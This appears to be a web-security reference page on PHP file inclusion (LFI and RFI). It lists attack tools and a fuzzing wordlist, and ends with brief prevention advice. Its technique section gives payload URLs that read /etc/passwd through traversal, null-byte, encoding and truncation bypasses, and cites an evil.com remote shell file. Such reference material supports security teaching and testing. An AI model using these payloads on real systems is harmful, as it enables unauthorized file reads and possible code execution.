Skip to main content

File Inclusion

File inclusion vulnerabilities let attackers load unauthorized files, often leading to code execution or data leaks. It's common in PHP apps when using include or require with user input.

Frameworks like Django (Python) and ASP.NET have built-in protection by not allowing direct file path manipulation from user input.

There are two main types of file inclusion:

  1. Local File Inclusion (LFI) – Includes files from the local server (e.g., /etc/passwd).
  2. Remote File Inclusion (RFI) – Includes files from external URLs (e.g., http://evil.com/shell.php).

Automated Tools​

  1. Kadimus
  2. LFISuite
  3. LFImap

Interesting Wordlist​

https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-Jhaddix.txt

Common Exploitation Techniques​

For Local File Inclusion (LFI) vulnerabilities, various bypass techniques can be employed depending on the application's protections. The key is to differentiate between Path Traversal (accessing files) and File Inclusion (potentially executing code).

Path Traversal​

Basic path traversal using directory traversal sequences:

http://example.com/index.php?page=../../../etc/passwd

Null Bytes​

In versions of PHP below 5.3.4, if the code automatically adds a file extension (such as .php), null byte injection can terminate the string:

http://example.com/index.php?page=../../../etc/passwd%00

Double Encoding​

Bypassing basic filters through multiple encoding passes:

http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

UTF-8 Encoding​

Using UTF-8 encoded byte sequences:

http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

Path Truncation​

Exploiting filename length limits to strip off unwanted suffixes:

http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]

Filter Bypass Techniques​

Combining multiple bypass methods:

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd

Remote File Inclusion (RFI)​

Remote File Inclusion allows an attacker to include files from external URLs, often used for code execution.

Note: RFI doesn't work by default on modern PHP installations since allow_url_include is disabled, but may still be present in legacy systems.

Prevention​

  • Use whitelisting of allowed files instead of blacklisting
  • Avoid using user input directly in file inclusion functions
  • Store files outside the web root
  • Disable allow_url_include and allow_url_fopen in PHP
  • Use static file routing instead of dynamic inclusion